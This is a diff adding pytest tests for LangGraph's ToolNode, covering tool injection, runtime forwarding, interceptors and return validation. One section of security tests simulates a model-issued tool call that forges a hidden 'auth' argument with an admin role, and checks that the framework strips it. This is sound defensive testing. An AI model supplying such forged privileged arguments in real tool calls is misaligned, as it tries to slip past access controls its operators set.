tool_calls=[[ToolCall(name=add.name, args={"a": 1, "b": 2}, id="test_id")]] + ) + + class State(TypedDict): + subgraph_messages: Annotated[list[AnyMessage], add_messages] + + def call_model(state: State) -> dict[str, Any]: + response = model.invoke(state["subgraph_messages"]) + model.tool_calls = [] + return {"subgraph_messages": response} + + builder = StateGraph(State) + builder.add_node("agent", call_model) + builder.add_node("tools", ToolNode([add], messages_key="subgraph_messages")) + builder.add_conditional_edges( + "agent", partial(tools_condition, messages_key="subgraph_messages") + ) + builder.add_edge(START, "agent") + builder.add_edge("tools", "agent") + + graph = builder.compile() + result = graph.invoke({"subgraph_messages": [HumanMessage(content="hi")]}) + assert result["subgraph_messages"] == [ + _AnyIdHumanMessage(content="hi"), + AIMessage( + content="hi", + id="0", + tool_calls=[ToolCall(name=add.name, args={"a": 1, "b": 2}, id="test_id")], + ), + _AnyIdToolMessage(content="3", name=add.name, tool_call_id="test_id"), + AIMessage(content="hi-hi-3", id="1"), + ] + + +def test_tool_node_stream_writer() -> None: + @dec_tool + def streaming_tool(x: int) -> str: + """Do something with writer.""" + my_writer = get_stream_writer() + for value in ["foo", "bar", "baz"]: + my_writer({"custom_tool_value": value}) + + return x + + tool_node = ToolNode([streaming_tool]) + graph = ( + StateGraph(MessagesState) + .add_node("tools", tool_node) + .add_edge(START, "tools") + .compile() + ) + + tool_call = { + "name": "streaming_tool", + "args": {"x": 1}, + "id": "1", + "type": "tool_call", + } + inputs = { + "messages": [AIMessage("", tool_calls=[tool_call])], + } + + assert list(graph.stream(inputs, stream_mode="custom")) == [ + {"custom_tool_value": "foo"}, + {"custom_tool_value": "bar"}, + {"custom_tool_value": "baz"}, + ] + assert list(graph.stream(inputs, stream_mode=["custom", "updates"])) == [ + ("custom", {"custom_tool_value": "foo"}), + ("custom", {"custom_tool_value": "bar"}), + ("custom", {"custom_tool_value": "baz"}), + ( + "updates", + { + "tools": { + "messages": [ + _AnyIdToolMessage( + content="1", + name="streaming_tool", + tool_call_id="1", + ), + ], + }, + }, + ), + ] + + +def test_tool_call_request_setattr_deprecation_warning(): + """Test that ToolCallRequest raises a deprecation warning on direct attribute modification.""" + import warnings + + from langgraph.prebuilt.tool_node import ToolCallRequest + + # Create a mock ToolCall + tool_call = {"name": "test", "args": {"a": 1}, "id": "call_1", "type": "tool_call"} + + # Create a ToolCallRequest + request = ToolCallRequest( + tool_call=tool_call, + tool=None, + state={"messages": []}, + runtime=None, + ) + + # Test 1: Direct attribute assignment should raise deprecation warning but still work + with pytest.warns(DeprecationWarning, match="deprecated.*override"): + request.tool_call = {"name": "other", "args": {}, "id": "call_2"} + + # Verify the attribute was actually modified + assert request.tool_call == {"name": "other", "args": {}, "id": "call_2"} + + # Reset for further tests + with warnings.catch_warnings(): + warnings.simplefilter("ignore") + request.tool_call = tool_call + + # Test 2: override method should work without warnings + with warnings.catch_warnings(record=True) as w: + warnings.simplefilter("always") + new_tool_call = { + "name": "new_tool", + "args": {"b": 2}, + "id": "call_3", + "type": "tool_call", + } + new_request = request.override(tool_call=new_tool_call) + + # Verify no warning was raised + assert len(w) == 0 + + # Verify original is unchanged + assert request.tool_call == tool_call + + # Verify new request has updated values + assert new_request.tool_call == new_tool_call + + # Test 3: Initialization should not trigger warning + with warnings.catch_warnings(record=True) as w: + warnings.simplefilter("always") + ToolCallRequest( + tool_call=tool_call, + tool=None, + state={"messages": []}, + runtime=None, + ) + # Verify no warning was raised during initialization + assert len(w) == 0 + + +async def test_tool_node_inject_async_all_types_signature_only() -> None: + """Test all injection types without @tool decorator.""" + store = InMemoryStore() + namespace = ("test",) + store.put(namespace, "test_key", {"store_data": "from_store"}) + + class TestState(TypedDict): + messages: list + foo: str + bar: int + + async def comprehensive_async_tool( + x: int, + whole_state: Annotated[TestState, InjectedState], + foo_field: Annotated[str, InjectedState("foo")], + store: Annotated[BaseStore, InjectedStore()], + runtime: ToolRuntime, + ) -> str: + """Async tool that uses all injection types.""" + bar_from_whole = whole_state["bar"] + foo_value = foo_field + store_val = store.get(namespace, "test_key").value["store_data"] + foo_from_runtime = runtime.state["foo"] + tool_call_id = runtime.tool_call_id + + return ( + f"x={x}, " + f"bar_from_whole={bar_from_whole}, " + f"foo_field={foo_value}, " + f"store={store_val}, " + f"foo_from_runtime={foo_from_runtime}, " + f"tool_call_id={tool_call_id}" + ) + + node = ToolNode([comprehensive_async_tool], handle_tool_errors=True) + tool_call = { + "name": "comprehensive_async_tool", + "args": {"x": 42}, + "id": "test_call_123", + "type": "tool_call", + } + msg = AIMessage("hi?", tool_calls=[tool_call]) + + config = _create_config_with_runtime(store=store) + result = await node.ainvoke( + {"messages": [msg], "foo": "foo_value", "bar": 99}, config=config + ) + + tool_message = result["messages"][-1] + assert tool_message.content == ( + "x=42, " + "bar_from_whole=99, " + "foo_field=foo_value, " + "store=from_store, " + "foo_from_runtime=foo_value, " + "tool_call_id=test_call_123" + ) + + +async def test_tool_node_inject_async_all_types_with_decorator() -> None: + """Test all injection types with @tool decorator.""" + store = InMemoryStore() + namespace = ("test",) + store.put(namespace, "test_key", {"store_data": "from_store"}) + + class TestState(TypedDict): + messages: list + foo: str + bar: int + + @dec_tool + async def comprehensive_async_tool( + x: int, + whole_state: Annotated[TestState, InjectedState], + foo_field: Annotated[str, InjectedState("foo")], + store: Annotated[BaseStore, InjectedStore()], + runtime: ToolRuntime, + ) -> str: + """Async tool that uses all injection types.""" + bar_from_whole = whole_state["bar"] + foo_value = foo_field + store_val = store.get(namespace, "test_key").value["store_data"] + foo_from_runtime = runtime.state["foo"] + tool_call_id = runtime.tool_call_id + + return ( + f"x={x}, " + f"bar_from_whole={bar_from_whole}, " + f"foo_field={foo_value}, " + f"store={store_val}, " + f"foo_from_runtime={foo_from_runtime}, " + f"tool_call_id={tool_call_id}" + ) + + node = ToolNode([comprehensive_async_tool], handle_tool_errors=True) + tool_call = { + "name": "comprehensive_async_tool", + "args": {"x": 42}, + "id": "test_call_456", + "type": "tool_call", + } + msg = AIMessage("hi?", tool_calls=[tool_call]) + + config = _create_config_with_runtime(store=store) + result = await node.ainvoke( + {"messages": [msg], "foo": "foo_value", "bar": 99}, config=config + ) + + tool_message = result["messages"][-1] + assert tool_message.content == ( + "x=42, " + "bar_from_whole=99, " + "foo_field=foo_value, " + "store=from_store, " + "foo_from_runtime=foo_value, " + "tool_call_id=test_call_456" + ) + + +async def test_tool_node_inject_async_all_types_with_schema() -> None: + """Test all injection types with explicit schema.""" + store = InMemoryStore() + namespace = ("test",) + store.put(namespace, "test_key", {"store_data": "from_store"}) + + class TestState(TypedDict): + messages: list + foo: str + bar: int + + class ComprehensiveToolSchema(BaseModel): + model_config = {"arbitrary_types_allowed": True} + x: int + whole_state: Annotated[TestState, InjectedState] + foo_field: Annotated[str, InjectedState("foo")] + store: Annotated[BaseStore, InjectedStore()] + runtime: ToolRuntime + + @dec_tool(args_schema=ComprehensiveToolSchema) + async def comprehensive_async_tool( + x: int, + whole_state: Annotated[TestState, InjectedState], + foo_field: Annotated[str, InjectedState("foo")], + store: Annotated[BaseStore, InjectedStore()], + runtime: ToolRuntime, + ) -> str: + """Async tool that uses all injection types.""" + bar_from_whole = whole_state["bar"] + foo_value = foo_field + store_val = store.get(namespace, "test_key").value["store_data"] + foo_from_runtime = runtime.state["foo"] + tool_call_id = runtime.tool_call_id + + return ( + f"x={x}, " + f"bar_from_whole={bar_from_whole}, " + f"foo_field={foo_value}, " + f"store={store_val}, " + f"foo_from_runtime={foo_from_runtime}, " + f"tool_call_id={tool_call_id}" + ) + + node = ToolNode([comprehensive_async_tool], handle_tool_errors=True) + tool_call = { + "name": "comprehensive_async_tool", + "args": {"x": 42}, + "id": "test_call_789", + "type": "tool_call", + } + msg = AIMessage("hi?", tool_calls=[tool_call]) + + config = _create_config_with_runtime(store=store) + result = await node.ainvoke( + {"messages": [msg], "foo": "foo_value", "bar": 99}, config=config + ) + + tool_message = result["messages"][-1] + assert tool_message.content == ( + "x=42, " + "bar_from_whole=99, " + "foo_field=foo_value, " + "store=from_store, " + "foo_from_runtime=foo_value, " + "tool_call_id=test_call_789" + ) + + +async def test_tool_node_tool_runtime_generic() -> None: + """Test that ToolRuntime with generic type arguments is correctly injected.""" + + @dataclasses.dataclass + class MyContext: + some_info: str + + @dec_tool + def get_info(rt: ToolRuntime[MyContext]): + """This tool returns info from context.""" + return rt.context.some_info + + # Create a mock runtime with context + mock_runtime = _create_mock_runtime() + mock_runtime.context = MyContext(some_info="test_info") + + config = {"configurable": {"__pregel_runtime": mock_runtime}} + + result = await ToolNode([get_info]).ainvoke( + { + "messages": [ + AIMessage( + "call tool", + tool_calls=[ + { + "name": "get_info", + "args": {}, + "id": "call_1", + } + ], + ) + ] + }, + config=config, + ) + + tool_message = result["messages"][-1] + assert tool_message.type == "tool" + assert tool_message.content == "test_info" + assert tool_message.tool_call_id == "call_1" + + +def test_tool_node_inject_runtime_dynamic_tool_via_wrap_tool_call() -> None: + """Test that ToolRuntime is injected for dynamically registered tools. + + Regression test for https://github.com/langchain-ai/langchain/issues/35305. + When a tool is dynamically provided via wrap_tool_call (not registered at + ToolNode init time), ToolRuntime should still be injected into the tool. + """ + + @dec_tool + def static_tool(x: int) -> str: + """A static tool registered at init.""" + return f"static: {x}" + + @dec_tool + def dynamic_tool_with_runtime(x: int, runtime: ToolRuntime) -> str: + """A dynamic tool that needs ToolRuntime injection.""" + return f"dynamic: x={x}, tool_call_id={runtime.tool_call_id}" + + def wrap_tool_call(request, execute): + """Middleware that swaps in a dynamic tool.""" + if request.tool_call["name"] == "dynamic_tool_with_runtime": + # Override tool to the dynamic one (not registered at init) + new_request = request.override(tool=dynamic_tool_with_runtime) + return execute(new_request) + return execute(request) + + # ToolNode only knows about static_tool at init time + tool_node = ToolNode( + [static_tool], + wrap_tool_call=wrap_tool_call, + ) + + # Verify the dynamic tool is NOT in the tool node's registered tools + assert "dynamic_tool_with_runtime" not in tool_node.tools_by_name + + # Call the dynamic tool + tool_call = { + "name": "dynamic_tool_with_runtime", + "args": {"x": 42}, + "id": "call_dynamic_1", + "type": "tool_call", + } + msg = AIMessage("", tool_calls=[tool_call]) + result = tool_node.invoke( + {"messages": [msg]}, + config=_create_config_with_runtime(), + ) + + # ToolRuntime should be injected and the tool should execute successfully + tool_message = result["messages"][-1] + assert tool_message.content == "dynamic: x=42, tool_call_id=call_dynamic_1" + assert tool_message.tool_call_id == "call_dynamic_1" + + +async def test_tool_node_inject_runtime_dynamic_tool_via_wrap_tool_call_async() -> None: + """Test that ToolRuntime is injected for dynamically registered tools (async). + + Async version of the regression test for + https://github.com/langchain-ai/langchain/issues/35305. + """ + + @dec_tool + def static_tool(x: int) -> str: + """A static tool registered at init.""" + return f"static: {x}" + + @dec_tool + async def dynamic_tool_with_runtime(x: int, runtime: ToolRuntime) -> str: + """A dynamic async tool that needs ToolRuntime injection.""" + return f"dynamic: x={x}, tool_call_id={runtime.tool_call_id}" + + async def awrap_tool_call(request, execute): + """Async middleware that swaps in a dynamic tool.""" + if request.tool_call["name"] == "dynamic_tool_with_runtime": + new_request = request.override(tool=dynamic_tool_with_runtime) + return await execute(new_request) + return await execute(request) + + # ToolNode only knows about static_tool at init time + tool_node = ToolNode( + [static_tool], + awrap_tool_call=awrap_tool_call, + ) + + # Verify the dynamic tool is NOT in the tool node's registered tools + assert "dynamic_tool_with_runtime" not in tool_node.tools_by_name + + # Call the dynamic tool + tool_call = { + "name": "dynamic_tool_with_runtime", + "args": {"x": 42}, + "id": "call_dynamic_2", + "type": "tool_call", + } + msg = AIMessage("", tool_calls=[tool_call]) + result = await tool_node.ainvoke( + {"messages": [msg]}, + config=_create_config_with_runtime(), + ) + + # ToolRuntime should be injected and the tool should execute successfully + tool_message = result["messages"][-1] + assert tool_message.content == "dynamic: x=42, tool_call_id=call_dynamic_2" + assert tool_message.tool_call_id == "call_dynamic_2" + + +def test_tool_runtime_defaults_tools_to_empty_list() -> None: + runtime = ToolRuntime( + state={}, + context=None, + config={}, + stream_writer=lambda *args, **kwargs: None, + tool_call_id=None, + store=None, + ) + + assert runtime.tools == [] + + +def test_tool_runtime_forwards_execution_info_server_info_and_tools() -> None: + """Test that execution_info, server_info, and tools are forwarded from Runtime to ToolRuntime.""" + from langgraph.runtime import ExecutionInfo, ServerInfo + + exec_info = ExecutionInfo( + thread_id="t-1", + checkpoint_id="cp-1", + checkpoint_ns="", + task_id="tk-1", + run_id="r-1", + ) + server_info = ServerInfo(assistant_id="asst-1", graph_id="graph-1") + + mock_runtime = Mock() + mock_runtime.store = None + mock_runtime.context = None + mock_runtime.stream_writer = lambda *args, **kwargs: None + mock_runtime.execution_info = exec_info + mock_runtime.server_info = server_info + + captured: dict = {} + + @dec_tool + def info_tool(x: int, runtime: ToolRuntime) -> str: + """Tool that captures runtime info.""" + captured["execution_info"] = runtime.execution_info + captured["server_info"] = runtime.server_info + captured["tools"] = runtime.tools + return "ok" + + @dec_tool + def other_tool(y: int) -> str: + """Another tool available to the runtime.""" + return str(y) + + node = ToolNode([info_tool, other_tool]) + tool_call = { + "name": "info_tool", + "args": {"x": 1}, + "id": "call-1", + "type": "tool_call", + } + msg = AIMessage("", tool_calls=[tool_call]) + config: RunnableConfig = {"configurable": {"__pregel_runtime": mock_runtime}} + result = node.invoke({"messages": [msg]}, config=config) + + assert result["messages"][-1].content == "ok" + assert captured["execution_info"] is exec_info + assert captured["execution_info"].thread_id == "t-1" + assert captured["execution_info"].task_id == "tk-1" + assert captured["server_info"] is server_info + assert captured["server_info"].assistant_id == "asst-1" + assert [tool.name for tool in captured["tools"]] == ["info_tool", "other_tool"] + + +async def test_tool_runtime_forwards_execution_info_server_info_and_tools_async() -> ( + None +): + """Test that execution_info, server_info, and tools are forwarded in async path.""" + from langgraph.runtime import ExecutionInfo, ServerInfo + + exec_info = ExecutionInfo( + thread_id="t-2", + checkpoint_id="cp-2", + checkpoint_ns="", + task_id="tk-2", + run_id="r-2", + ) + server_info = ServerInfo(assistant_id="asst-2", graph_id="graph-2") + + mock_runtime = Mock() + mock_runtime.store = None + mock_runtime.context = None + mock_runtime.stream_writer = lambda *args, **kwargs: None + mock_runtime.execution_info = exec_info + mock_runtime.server_info = server_info + + captured: dict = {} + + @dec_tool + async def info_tool_async(x: int, runtime: ToolRuntime) -> str: + """Async tool that captures runtime info.""" + captured["execution_info"] = runtime.execution_info + captured["server_info"] = runtime.server_info + captured["tools"] = runtime.tools + return "ok" + + @dec_tool + async def other_tool_async(y: int) -> str: + """Another async tool available to the runtime.""" + return str(y) + + node = ToolNode([info_tool_async, other_tool_async]) + tool_call = { + "name": "info_tool_async", + "args": {"x": 1}, + "id": "call-2", + "type": "tool_call", + } + msg = AIMessage("", tool_calls=[tool_call]) + config: RunnableConfig = {"configurable": {"__pregel_runtime": mock_runtime}} + result = await node.ainvoke({"messages": [msg]}, config=config) + + assert result["messages"][-1].content == "ok" + assert captured["execution_info"] is exec_info + assert captured["execution_info"].thread_id == "t-2" + assert captured["server_info"] is server_info + assert captured["server_info"].graph_id == "graph-2" + assert [tool.name for tool in captured["tools"]] == [ + "info_tool_async", + "other_tool_async", + ] + + +# --- InjectedToolArg security tests --- + + +def test_tool_node_strips_plain_injected_tool_arg() -> None: + """Plain InjectedToolArg values supplied by the LLM should be stripped.""" + + @dec_tool + def read_secret( + query: str, + auth: Annotated[dict, InjectedToolArg()], + ) -> str: + """Return secret data based on auth role.""" + if auth.get("role") == "admin": + return "ADMIN_SECRET" + return "PUBLIC_DATA" + + node = ToolNode([read_secret], handle_tool_errors=True) + + # LLM tries to supply the hidden 'auth' field + tool_call = { + "name": "read_secret", + "args": {"query": "hello", "auth": {"role": "admin"}}, + "id": "call-1", + "type": "tool_call", + } + msg = AIMessage("", tool_calls=[tool_call]) + result = node.invoke({"messages": [msg]}, config=_create_config_with_runtime()) + tool_message = result["messages"][-1] + # auth should have been stripped, so tool should fail (missing required arg) + assert "ADMIN_SECRET" not in tool_message.content + + +def test_tool_node_strips_custom_injected_tool_arg_subclass() -> None: + """Custom InjectedToolArg subclasses should also be stripped.""" + + class InjectedAuth(InjectedToolArg): + pass + + @dec_tool + def read_secret( + query: str, + auth: Annotated[dict, InjectedAuth()], + ) -> str: + """Return secret data based on auth role.""" + if auth.get("role") == "admin": + return "ADMIN_SECRET" + return "PUBLIC_DATA" + + node = ToolNode([read_secret], handle_tool_errors=True) + + tool_call = { + "name": "read_secret", + "args": {"query": "hello", "auth": {"role": "admin"}}, + "id": "call-1", + "type": "tool_call", + } + msg = AIMessage("", tool_calls=[tool_call]) + result = node.invoke({"messages": [msg]}, config=_create_config_with_runtime()) + tool_message = result["messages"][-1] + assert "ADMIN_SECRET" not in tool_message.content + + +def test_tool_node_injected_state_overwrites_llm_value() -> None: + """InjectedState should use graph state, not LLM-supplied values.""" + + @dec_tool + def read_secret( + query: str, + auth: Annotated[dict, InjectedState("auth")], + ) -> str: + """Return secret data based on auth from graph state.""" + if auth.get("role") == "admin": + return "ADMIN_SECRET" + return "PUBLIC_DATA" + + node = ToolNode([read_secret]) + + # LLM tries to supply auth as admin + tool_call = { + "name": "read_secret", + "args": {"query": "hello", "auth": {"role": "admin"}}, + "id": "call-1", + "type": "tool_call", + } + msg = AIMessage("", tool_calls=[tool_call]) + + # Graph state has auth as viewer + result = node.invoke( + {"messages": [msg], "auth": {"role": "viewer"}}, + config=_create_config_with_runtime(), + ) + tool_message = result["messages"][-1] + assert tool_message.content == "PUBLIC_DATA" + + +class _ReturningTool(BaseTool): + """A tool that returns a configured value verbatim.""" + + name: str = "list_tool" + description: str = "Returns a configured value" + return_value: Any = None + + def _run(self, **kwargs: Any) -> Any: + return self.return_value + + async def _arun(self, **kwargs: Any) -> Any: + return self.return_value + + +def _list_tool_call(outer_id: str = "call-1") -> dict[str, Any]: + return {"name": "list_tool", "args": {}, "id": outer_id, "type": "tool_call"} + + +def _invoke_returning( + return_value: Any, + *, + outer_id: str = "call-1", + handle_tool_errors: bool = True, +) -> Any: + node = ToolNode( + [_ReturningTool(return_value=return_value)], + handle_tool_errors=handle_tool_errors, + ) + return node.invoke( + {"messages": [AIMessage("", tool_calls=[_list_tool_call(outer_id)])]}, + config=_create_config_with_runtime(), + ) + + +def test_tool_node_list_return_command_and_tool_message() -> None: + """Valid: tool returns [Command(update={...}), ToolMessage(...)].""" + outer_id = "call-1" + result = _invoke_returning( + [ + Command(update={"foo": "bar"}), + ToolMessage(content="done", tool_call_id=outer_id), + ] + ) + assert isinstance(result, list) + commands = [r for r in result if isinstance(r, Command)] + assert len(commands) == 1 + assert commands[0].update == {"foo": "bar"} + non_commands = [r for r in result if not isinstance(r, Command)] + assert len(non_commands) == 1 + assert isinstance(non_commands[0], dict) + msgs = non_commands[0]["messages"] + assert len(msgs) == 1 + assert isinstance(msgs[0], ToolMessage) + assert msgs[0].content == "done" + assert msgs[0].tool_call_id == outer_id + + +def test_tool_node_list_return_nested_terminator() -> None: + """Valid: terminator nested inside Command.update['messages'].""" + outer_id = "call-1" + result = _invoke_returning( + [ + Command(update={"foo": "bar"}), + Command( + update={ + "messages": [ToolMessage(content="done", tool_call_id=outer_id)] + } + ), + ] + ) + assert isinstance(result, list) + commands = [r for r in result if isinstance(r, Command)] + assert len(commands) == 2 + updates = [c.update for c in commands] + assert {"foo": "bar"} in updates + msgs_update = next(u for u in updates if "messages" in (u or {})) + assert any( + isinstance(m, ToolMessage) and m.tool_call_id == outer_id + for m in msgs_update["messages"] + ) + + +def test_tool_node_list_return_parent_goto_with_terminator() -> None: + """Valid: [Command(graph=PARENT, goto=[Send(...)]), ToolMessage(...)].""" + outer_id = "call-1" + result = _invoke_returning( + [ + Command(graph=Command.PARENT, goto=[Send("child", {})]), + ToolMessage(content="ok", tool_call_id=outer_id), + ] + ) + assert isinstance(result, list) + parent_cmds = [ + r for r in result if isinstance(r, Command) and r.graph is Command.PARENT + ] + assert len(parent_cmds) == 1 + assert isinstance(parent_cmds[0].goto, list) + assert any(isinstance(s, Send) for s in parent_cmds[0].goto) + non_commands = [r for r in result if not isinstance(r, Command)] + assert len(non_commands) == 1 + + +def test_tool_node_list_return_no_terminator_raises() -> None: + """Invalid: list with no terminating ToolMessage.""" + with pytest.raises(ValueError, match="0 messages bound to tool_call_id"): + _invoke_returning([Command(update={"foo": "bar"})], handle_tool_errors=False) + + +def test_tool_node_list_return_multiple_terminators_raises() -> None: + """Invalid: list with two terminating ToolMessages.""" + outer_id = "call-1" + with pytest.raises(ValueError, match="2 messages bound to tool_call_id"): + _invoke_returning( + [ + ToolMessage(content="a", tool_call_id=outer_id), + ToolMessage(content="b", tool_call_id=outer_id), + ], + handle_tool_errors=False, + ) + + +def test_tool_node_list_return_validation_error_handled() -> None: + """handle_tool_errors=True converts validation errors to an error ToolMessage.""" + result = _invoke_returning([Command(update={"foo": "bar"})]) + assert isinstance(result, dict) + msg = result["messages"][0] + assert isinstance(msg, ToolMessage) + assert msg.status == "error" + assert "0 messages bound to tool_call_id" in msg.content + + +async def test_tool_node_list_return_async_smoke() -> None: + """Async path parallels sync for the happy case.""" + outer_id = "call-1" + node = ToolNode( + [ + _ReturningTool( + return_value=[ + Command(update={"foo": "bar"}), + ToolMessage(content="done", tool_call_id=outer_id), + ] + ) + ] + ) + result = await node.ainvoke( + {"messages": [AIMessage("", tool_calls=[_list_tool_call(outer_id)])]}, + config=_create_config_with_runtime(), + ) + assert isinstance(result, list) + commands = [r for r in result if isinstance(r, Command)] + assert len(commands) == 1 and commands[0].update == {"foo": "bar"} + + +def test_tool_node_list_return_mixed_with_regular_tool() -> None: + """List-returning tool and a regular tool dispatched from the same AIMessage.""" + list_tool_id = "call-list" + regular_tool_id = "call-regular" + list_tool = _ReturningTool( + return_value=[ + Command(update={"foo": "bar"}), + ToolMessage(content="list done", tool_call_id=list_tool_id), + ] + ) + + def regular_tool(x: int) -> str: + """A normal tool.""" + return f"regular: {x}" + + tool_calls = [ + {"name": "list_tool", "args": {}, "id": list_tool_id, "type": "tool_call"}, + { + "name": "regular_tool", + "args": {"x": 7}, + "id": regular_tool_id, + "type": "tool_call", + }, + ] + node = ToolNode([list_tool, regular_tool]) + result = node.invoke( + {"messages": [AIMessage("", tool_calls=tool_calls)]}, + config=_create_config_with_runtime(), + ) + assert isinstance(result, list) + commands = [r for r in result if isinstance(r, Command)] + assert len(commands) == 1 + assert commands[0].update == {"foo": "bar"} + all_msgs = [m for r in result if isinstance(r, dict) for m in r["messages"]] + tool_call_ids = {m.tool_call_id for m in all_msgs} + assert list_tool_id in tool_call_ids + assert regular_tool_id in tool_call_ids diff --git a/libs/prebuilt/tests/test_tool_node_interceptor_unregistered.py b/libs/prebuilt/tests/test_tool_node_interceptor_unregistered.py new file mode 100644 index 0000000..dadf36a --- /dev/null +++ b/libs/prebuilt/tests/test_tool_node_interceptor_unregistered.py @@ -0,0 +1,804 @@ +"""Test tool node interceptor handling of unregistered tools.""" + +from collections.abc import Awaitable, Callable +from unittest.mock import Mock + +import pytest +from langchain_core.messages import AIMessage, ToolMessage +from langchain_core.runnables.config import RunnableConfig +from langchain_core.tools import tool as dec_tool +from langgraph.store.base import BaseStore +from langgraph.types import Command + +from langgraph.prebuilt import ToolNode +from langgraph.prebuilt.tool_node import ToolCallRequest + +pytestmark = pytest.mark.anyio + + +def _create_mock_runtime(store: BaseStore | None = None) -> Mock: + """Create a mock Runtime object for testing ToolNode outside of graph context. + + This helper is needed because ToolNode._func expects a Runtime parameter + which is injected by RunnableCallable from config["configurable"]["__pregel_runtime"]. + When testing ToolNode directly (outside a graph), we need to provide this manually. + """ + mock_runtime = Mock() + mock_runtime.store = store + mock_runtime.context = None + mock_runtime.stream_writer = lambda *args, **kwargs: None + return mock_runtime + + +def _create_config_with_runtime(store: BaseStore | None = None) -> RunnableConfig: + """Create a RunnableConfig with mock Runtime for testing ToolNode. + + Returns: + RunnableConfig with __pregel_runtime in configurable dict. + """ + return {"configurable": {"__pregel_runtime": _create_mock_runtime(store)}} + + +@dec_tool +def registered_tool(x: int) -> str: + """A registered tool.""" + return f"Result: {x}" + + +def test_interceptor_can_handle_unregistered_tool_sync() -> None: + """Test that interceptor can handle requests for unregistered tools (sync).""" + + def interceptor( + request: ToolCallRequest, + execute: Callable[[ToolCallRequest], ToolMessage | Command], + ) -> ToolMessage | Command: + """Intercept and handle unregistered tools.""" + if request.tool_call["name"] == "unregistered_tool": + # Short-circuit without calling execute for unregistered tool + return ToolMessage( + content="Handled by interceptor", + tool_call_id=request.tool_call["id"], + name="unregistered_tool", + ) + # Pass through for registered tools + return execute(request) + + node = ToolNode([registered_tool], wrap_tool_call=interceptor) + + # Test registered tool works normally + result = node.invoke( + [ + AIMessage( + "", + tool_calls=[ + { + "name": "registered_tool", + "args": {"x": 42}, + "id": "1", + "type": "tool_call", + } + ], + ) + ], + config=_create_config_with_runtime(), + ) + assert result[0].content == "Result: 42" + assert result[0].tool_call_id == "1" + + # Test unregistered tool is intercepted and handled + result = node.invoke( + [ + AIMessage( + "", + tool_calls=[ + { + "name": "unregistered_tool", + "args": {"x": 99}, + "id": "2", + "type": "tool_call", + } + ], + ) + ], + config=_create_config_with_runtime(), + ) + assert result[0].content == "Handled by interceptor" + assert result[0].tool_call_id == "2" + assert result[0].name == "unregistered_tool" + + +async def test_interceptor_can_handle_unregistered_tool_async() -> None: + """Test that interceptor can handle requests for unregistered tools (async).""" + + async def async_interceptor( + request: ToolCallRequest, + execute: Callable[[ToolCallRequest], Awaitable[ToolMessage | Command]], + ) -> ToolMessage | Command: + """Intercept and handle unregistered tools.""" + if request.tool_call["name"] == "unregistered_tool": + # Short-circuit without calling execute for unregistered tool + return ToolMessage( + content="Handled by async interceptor", + tool_call_id=request.tool_call["id"], + name="unregistered_tool", + ) + # Pass through for registered tools + return await execute(request) + + node = ToolNode([registered_tool], awrap_tool_call=async_interceptor) + + # Test registered tool works normally + result = await node.ainvoke( + [ + AIMessage( + "", + tool_calls=[ + { + "name": "registered_tool", + "args": {"x": 42}, + "id": "1", + "type": "tool_call", + } + ], + ) + ], + config=_create_config_with_runtime(), + ) + assert result[0].content == "Result: 42" + assert result[0].tool_call_id == "1" + + # Test unregistered tool is intercepted and handled + result = await node.ainvoke( + [ + AIMessage( + "", + tool_calls=[ + { + "name": "unregistered_tool", + "args": {"x": 99}, + "id": "2", + "type": "tool_call", + } + ], + ) + ], + config=_create_config_with_runtime(), + ) + assert result[0].content == "Handled by async interceptor" + assert result[0].tool_call_id == "2" + assert result[0].name == "unregistered_tool" + + +def test_unregistered_tool_error_when_interceptor_calls_execute() -> None: + """Test that unregistered tools error if interceptor tries to execute them.""" + + def bad_interceptor( + request: ToolCallRequest, + execute: Callable[[ToolCallRequest], ToolMessage | Command], + ) -> ToolMessage | Command: + """Interceptor that tries to execute unregistered tool.""" + # This should fail validation when execute is called + return execute(request) + + node = ToolNode([registered_tool], wrap_tool_call=bad_interceptor) + + # Registered tool should still work + result = node.invoke( + [ + AIMessage( + "", + tool_calls=[ + { + "name": "registered_tool", + "args": {"x": 42}, + "id": "1", + "type": "tool_call", + } + ], + ) + ], + config=_create_config_with_runtime(), + ) + assert result[0].content == "Result: 42" + + # Unregistered tool should error when interceptor calls execute + result = node.invoke( + [ + AIMessage( + "", + tool_calls=[ + { + "name": "unregistered_tool", + "args": {"x": 99}, + "id": "2", + "type": "tool_call", + } + ], + ) + ], + config=_create_config_with_runtime(), + ) + # Should get validation error message + assert result[0].status == "error" + assert ( + result[0].content + == "Error: unregistered_tool is not a valid tool, try one of [registered_tool]." + ) + assert result[0].tool_call_id == "2" + + +def test_interceptor_handles_mix_of_registered_and_unregistered() -> None: + """Test interceptor handling mix of registered and unregistered tools.""" + + def selective_interceptor( + request: ToolCallRequest, + execute: Callable[[ToolCallRequest], ToolMessage | Command], + ) -> ToolMessage | Command: + """Handle unregistered tools, pass through registered ones.""" + if request.tool_call["name"] == "magic_tool": + return ToolMessage( + content=f"Magic result: {request.tool_call['args'].get('value', 0) * 2}", + tool_call_id=request.tool_call["id"], + name="magic_tool", + ) + return execute(request) + + node = ToolNode([registered_tool], wrap_tool_call=selective_interceptor) + + # Test multiple tool calls - mix of registered and unregistered + result = node.invoke( + [ + AIMessage( + "", + tool_calls=[ + { + "name": "registered_tool", + "args": {"x": 10}, + "id": "1", + "type": "tool_call", + }, + { + "name": "magic_tool", + "args": {"value": 5}, + "id": "2", + "type": "tool_call", + }, + { + "name": "registered_tool", + "args": {"x": 20}, + "id": "3", + "type": "tool_call", + }, + ], + ) + ], + config=_create_config_with_runtime(), + ) + + # All tools should execute successfully + assert len(result) == 3 + assert result[0].content == "Result: 10" + assert result[0].tool_call_id == "1" + assert result[1].content == "Magic result: 10" + assert result[1].tool_call_id == "2" + assert result[2].content == "Result: 20" + assert result[2].tool_call_id == "3" + + +def test_interceptor_command_for_unregistered_tool() -> None: + """Test interceptor returning Command for unregistered tool.""" + + def command_interceptor( + request: ToolCallRequest, + execute: Callable[[ToolCallRequest], ToolMessage | Command], + ) -> ToolMessage | Command: + """Return Command for unregistered tools.""" + if request.tool_call["name"] == "routing_tool": + return Command( + update=[ + ToolMessage( + content="Routing to special handler", + tool_call_id=request.tool_call["id"], + name="routing_tool", + ) + ], + goto="special_node", + ) + return execute(request) + + node = ToolNode([registered_tool], wrap_tool_call=command_interceptor) + + result = node.invoke( + [ + AIMessage( + "", + tool_calls=[ + { + "name": "routing_tool", + "args": {}, + "id": "1", + "type": "tool_call", + } + ], + ) + ], + config=_create_config_with_runtime(), + ) + + # Should get Command back + assert len(result) == 1 + assert isinstance(result[0], Command) + assert result[0].goto == "special_node" + assert result[0].update is not None + assert len(result[0].update) == 1 + assert result[0].update[0].content == "Routing to special handler" + + 